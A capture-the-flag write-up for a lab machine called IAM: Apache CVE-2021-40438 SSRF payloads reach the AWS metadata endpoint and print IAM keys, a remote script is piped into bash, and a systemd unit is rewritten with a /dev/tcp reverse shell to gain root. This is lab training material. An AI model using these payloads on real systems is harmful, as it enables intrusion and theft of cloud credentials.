↓Skip to main content

[Write-Up] HackingClub: IAM

·11 mins

Overview #

This is a machine that although is ranked as easy, requires a lot of knowledge that I would consider otherwise not “easy”. One thing to consider in this machine is it’s name IAM, which is stands for Identity and Acess Management, on AWS we have the IAM service.

On cloud provider the address 169.254.169.254 is used to provide metadata to virtual machines. This is a local only address (only reacheable inside the instance) and requires no authentication.

AWS has such an endpoint, more information about it can be found on it’s offical documentation regarding Access instance metadata for an EC2 instance.

The name IAM on the machine coupled with the SSRF vulnerability we find later on, points that we can try reaching this address from inside the machine, which is not that easy of a jump if one does not have knowledge about cloud environments.

Recon #

Nmap #

Performing a scan on the top 1000 most common ports we find a Apache web server, a samba workgroup and a MySQL server.

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ nmap -sV iam.hc     
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-16 09:40 -0400
Nmap scan report for iam.hc (172.16.13.248)
Host is up (0.21s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.48 (() PHP/7.4.19)
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
3306/tcp open  mysql       MariaDB 10.3.23 or earlier (unauthorized)
Service Info: Host: IP-172-16-13-248

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.13 seconds

Enumeration #

Stack #

  • Apache HTTP Server - 2.4.48
  • PHP - 7.4.19

Fuzzing Port 80 #

The does not appear to be running any web application, presenting the default page when we access it. Performing fuzzing on the web server we also do not find anything of relevance.

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ ffuf -u "http://iam.hc/FUZZ" -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://iam.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 2850ms]
.hta                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 3833ms]
.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 5832ms]
.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 5845ms]
cgi-bin/                [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 166ms]
:: Progress: [4614/4614] :: Job [1/1] :: 263 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

Samba #

We also run some scans on the SAMBA workgroup found. We notice that we can get anonymous login, but we don’t have access to anything on that service also. At least not at this first recon.

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ smbclient -L //iam.hc
Password for [WORKGROUP\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.10.16)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ smbmap -H iam.hc      

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 172.16.13.248:445       Name: iam.hc                    Status: NULL Session
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.10.16)
[*] Closed 1 connections                                                                                                     
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ nmap --script smb-security-mode.nse -p445 iam.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-16 10:19 -0400
Nmap scan report for iam.hc (172.16.13.248)
Host is up (0.14s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds

Vulnerabilities #

SSRF - CVE-2021-40438 #

The apache version running on the server has a known critical vulnerability, the CVE-2021-40438, this vulnerability enables an attacker to forward requests to an arbitrary origin server.

Knowing that the web server seems to be configured for PHP, we can try forwarding PHP script using a server we control.

Exploitation #

Let’s try to use the CVE-2021-40438 to reach a server we control, and verify it’s working, we send the request shown below, pay attention that we must send a long string then the web site we want to forward the request through - on the next payloads, the long string will be shortened for readability:

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ curl 'http://iam.hc/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://10.0.9.28:8000/'

We notice on our web server that we do receive a connection, we have successfully exploited the vulnerability on the web server:

┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ python3 -m http.server                                                                           
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.16.11.213 - - [19/Oct/2026 19:33:43] "GET / HTTP/1.1" 200 -

The machine name is IAM, if it’s running on a cloud environment we may try to reach to the address 169.254.169.254 to get metadata on the machine:

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ curl 'http://iam.hc/?unix:AAA...A|http://169.254.169.254/latest/meta-data/iam/security-credentials'
MACHINE_IAM_ROLE

We this request we find out the IAM role that the machine is using, we can use that to retrieve cloud API keys:

curl 'http://iam.hc/?unix:AAA...A|http://169.254.169.254/latest/meta-data/iam/security-credentials/MACHINE_IAM_ROLE' 
{
  "Code" : "Success",
  "LastUpdated" : "2026-10-19T23:17:10Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6G2S5QLBEVTLILLU",
  "SecretAccessKey" : "w1YvFXDSn5vPo1Sewrnc9eGnhO6j+9vl7g3OOPM/",
  "Token" : "IQoJb3J...FQ==",
  "Expiration" : "2026-10-20T05:52:26Z"
} 

This grants access to AWS credentials with the same permissions that is granted to the EC2 machine running the web server, every virtual machine on AWS may have a IAM role tied to it, often with the purposes of performing an action as an application.

We just need to set the variable from each key value pair from the JSON:

export AWS_ACCESS_KEY_ID=$(cat creds | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(cat creds | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(cat creds | jq -r .Token)

From here, we may have some options, all leverage what permission we have on cloud:

  • Are we able to get a shell into the machine using SSM?
  • Are we able to run any kind of storage, such as an S3?
  • Are we able to escalate privileges through IAM itself?

We can use a tool called Pacu to automatically recon through trying some commands what permissions we have with that IAM role, first we create a session on it using the AWS credentials we got earlier:

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ pacu                  

 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
 ⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
 ⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
 ⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
 ⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
 ⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
 ⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
 ⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀

Version: 1.7.0
What would you like to name this new session? hc-iam
Session hc-iam created.
Pacu (hc-iam:No Keys Set) > set_keys

Then run recon on the permissions the IAM role has using brute force - trying multiple commands that will helps us assess what permissions we do have. Using this method one discovers that the IAM role has permissions to list buckets:

Pacu (hc-iam:hc-aim) > run iam__bruteforce_permissions
  Running module iam__bruteforce_permissions...
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions] Enumerating us-east-1
2026-10-16 16:05:39,391 - 198028 - [INFO] Starting permission enumeration for access-key-id "ASIA6G2S5QLBEEVPY3U6"
(...)
[iam__bruteforce_permissions]   s3.list_buckets: {'Buckets': [{'Name': 'aulas-uhclabs', 'CreationDate': datetime.datetime(2021, 1, 9, 22, 17, 38, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::aulas-uhclabs'}, {'Name': 'crowsec-images-b2b', 'CreationDate': datetime.datetime(2026, 5, 27, 13, 54, 34, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::crowsec-images-b2b'}, {'Name': 'hackingclub-statics', 'CreationDate': datetime.datetime(2025, 4, 14, 13, 55, 30, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::hackingclub-statics'}, {'Name': 'horizont-s3', 'CreationDate': datetime.datetime(2023, 10, 16, 17, 7, 42, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::horizont-s3'}, {'Name': 'machine-cloud-s3-bucket', 'CreationDate': datetime.datetime(2023, 10, 16, 19, 22, 55, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::machine-cloud-s3-bucket'}, {'Name': 'machine-iam-bucket', 'CreationDate': datetime.datetime(2021, 10, 16, 14, 52, 5, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::machine-iam-bucket'}, {'Name': 'nas-transfer-hc', 'CreationDate': datetime.datetime(2025, 1, 25, 13, 13, 30, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::nas-transfer-hc'}, {'Name': 's3-ecommerce-bucket-prod', 'CreationDate': datetime.datetime(2026, 4, 16, 0, 9, 9, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::s3-ecommerce-bucket-prod'}, {'Name': 'uhclabs-static', 'CreationDate': datetime.datetime(2021, 11, 29, 22, 29, 18, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::uhclabs-static'}, {'Name': 'uhclabs-static-staging', 'CreationDate': datetime.datetime(2023, 8, 19, 18, 52, 23, tzinfo=tzutc()), 'BucketArn': 'arn:aws:s3:::uhclabs-static-staging'}], 'Owner': {'ID': '037ae42788c704ed18446f34ce9de763e26c09d2e73e59j6e50d804ae21ae6627'}}
(...)

By listing the buckets we are able to get the first flag:

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ aws s3 ls                 
2021-01-09 17:17:38 aulas-uhclabs
2026-05-27 09:54:34 crowsec-images-b2b
2025-04-14 09:55:30 hackingclub-statics
2023-10-16 13:07:42 horizont-s3
2023-10-16 15:22:55 machine-cloud-s3-bucket
2021-10-16 10:52:05 machine-iam-bucket
2025-01-25 08:13:30 nas-transfer-hc
2026-04-15 20:09:09 s3-ecommerce-bucket-prod
2021-11-29 17:29:18 uhclabs-static
2023-08-19 14:52:23 uhclabs-static-staging
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ aws s3 ls machine-iam-bucket
2021-10-16 11:00:11         31 flag.txt
2021-10-16 18:04:16       1706 op-user-key.pem
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ aws s3 cp s3://machine-iam-bucket/flag.txt .
download: s3://machine-iam-bucket/flag.txt to ./flag.txt         
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ cat flag.txt 
UHCLABS{REDACTED}

But also one discover a .pem key that enables us to login to a user on the EC2 machine, granting us a initial shell:

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ aws s3 cp s3://machine-iam-bucket/op-user-key.pem .
download: s3://machine-iam-bucket/op-user-key.pem to ./op-user-key.pem
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ chmod 600 op-user-key.pem 
┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ ssh -i op-user-key.pem op@iam.hc 
The authenticity of host '172.16.13.81 (172.16.13.81)' can't be established.
ED25519 key fingerprint is: SHA256:sFXBO98/V1fWtBmQHba5rbH9dJDBXJnXckXlIlm2Gk4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.13.81' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Sat Oct 16 22:28:10 2021 from localhost

       __|  __|_  )
       _|  (     /   Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[op@ip-172-16-13-81 ~]$ 

Privilege Escalation #

After getting initial shell, run a recon script to see what can be found on the Linux machine:

[op@ip-172-16-13-81 ~]$ curl http://10.0.9.28:8000/linrecon.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1928  100  1928    0     0   6469      0 --:--:-- --:--:-- --:--:--  6469
[+] Current user: op
    User id: uid=1001(op) gid=1001(op) groups=1001(op)
    User groups: op
[+] Passwordless sudo commands: 
Matching Defaults entries for op on ip-172-16-13-81:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User op may run the following commands on ip-172-16-13-81:
    (ALL : ALL) NOPASSWD: /bin/systemctl restart httpd
    (ALL : ALL) NOPASSWD: /bin/systemctl daemon-reload
(...)

The application does not seem to be running inside docker and the op user has the permission to run two privilege commands as sudo that deals with httpd systemd service.

Let’s check what is the systemd configuration file for httpd:

[op@ip-172-16-13-81 systemd]$ systemctl status httpd.s
Unit httpd.s.service could not be found.
[op@ip-172-16-13-81 systemd]$ systemctl status httpd.service
● httpd.service - The Apache HTTP Server
   Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled)
   Active: active (running) since Fri 2026-10-16 19:55:59 UTC; 42min ago
     Docs: man:httpd.service(8)
  Process: 2768 ExecReload=/usr/sbin/httpd $OPTIONS -k graceful (code=exited, status=0/SUCCESS)
 Main PID: 2025 (httpd)
   Status: "Total requests: 4; Idle/Busy workers 100/0;Requests/sec: 0.00159; Bytes served/sec:   9 B/sec"
   CGroup: /system.slice/httpd.service
           ├─2025 /usr/sbin/httpd -DFOREGROUND
           ├─2785 /usr/sbin/httpd -DFOREGROUND
           ├─2787 /usr/sbin/httpd -DFOREGROUND
           ├─2793 /usr/sbin/httpd -DFOREGROUND
           ├─2799 /usr/sbin/httpd -DFOREGROUND
           └─2820 /usr/sbin/httpd -DFOREGROUND

Now check permissions and contents of the systemd file for httpd, it’s writable by anyone, which give the possibility of tampering it to run arbitrary commands:

[op@ip-172-16-13-81 systemd]$ ls -lhart /usr/lib/systemd/system
(...)
-rw-r--r--  1 root root  244 Jun 25  2021 httpd.socket
-rw-r--rw-  1 root root  944 Jun 25  2021 httpd.service
-rw-r--r--  1 root root  316 Jun 25  2021 htcacheclean.service

Since we update the contents of /usr/lib/systemd/system/httpd.service, we may change the ExecReload command (which we can trigger through the sudo commands op has) to run a reverse shell:

# See httpd.service(8) for more information on using the httpd service.

# Modifying this file in-place is not recommended, because changes
# will be overwritten during package upgrades.  To customize the
# behaviour, run "systemctl edit httpd" to create an override unit.

# For example, to pass additional options (such as -D definitions) to
# the httpd binary at startup, create an override unit (as is done by
# systemctl edit) and enter the following:

#       [Service]
#       Environment=OPTIONS=-DMY_DEFINE

[Unit]
Description=The Apache HTTP Server
Wants=httpd-init.service
After=network.target remote-fs.target nss-lookup.target httpd-init.service
Documentation=man:httpd.service(8)

[Service]
Type=notify
Environment=LANG=C

ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND
ExecReload=/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'
#ExecReload=/usr/sbin/httpd $OPTIONS -k graceful
# Send SIGWINCH for graceful stop
KillSignal=SIGWINCH
KillMode=mixed
PrivateTmp=true

[Install]
WantedBy=multi-user.target

We initialize netcat on port 4444 on the attacker machine and restart the httpd service:

[op@ip-172-16-13-81 system]$ sudo /bin/systemctl restart httpd
Warning: httpd.service changed on disk. Run 'systemctl daemon-reload' to reload units.

Then we get a root shell:

┌──(kali㉿kali)-[~/Machines/HC-IAM]
└─$ nc -lnvp 4444                
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.13.81] 55708
bash: no job control in this shell
[root@ip-172-16-13-81 /]# whoami
whoami
root
[root@ip-172-16-13-81 root]# cat root.txt
cat root.txt
UHCLABS{REDACTED}

Flags #

  • First flag (S3 bucket access via stolen IAM credentials): UHCLABS{REDACTED}
  • Root (writable systemd unit file, httpd service hijack): UHCLABS{REDACTED}

References #